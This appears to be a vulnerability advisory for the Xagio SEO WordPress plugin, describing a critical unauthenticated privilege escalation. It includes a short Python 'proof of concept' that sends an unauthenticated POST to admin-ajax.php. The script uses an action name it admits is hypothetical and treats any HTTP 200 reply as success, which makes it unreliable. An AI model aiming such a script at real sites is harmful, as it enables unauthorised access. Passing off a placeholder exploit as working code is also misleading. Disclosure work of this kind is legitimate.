Incorrect Privilege Assignment vulnerability in Xagio SEO Xagio SEO xagio-seo allows Privilege Escalation.This issue affects Xagio SEO: from n/a through <= 7.1.0.30.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Xagio SEO <= 7.1.0.30
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Replace with actual target)
target = "http://example.com/wp-admin/admin-ajax.php"
# Payload data based on vulnerability analysis
# The specific 'action' parameter triggers the vulnerable function
data = {
"action": "xagio_vulnerable_action", # Hypothetical action name
"data": "malicious_payload"
}
try:
# Send POST request without authentication
response = requests.post(target, data=data)
# Check if exploit was successful (e.g., HTTP 200 OK and specific response)
if response.status_code == 200:
print("[+] Potential privilege escalation successful.")
print("Response:", response.text[:100])
else:
print("[-] Request failed or blocked.")
except Exception as e:
print(f"Error: {e}")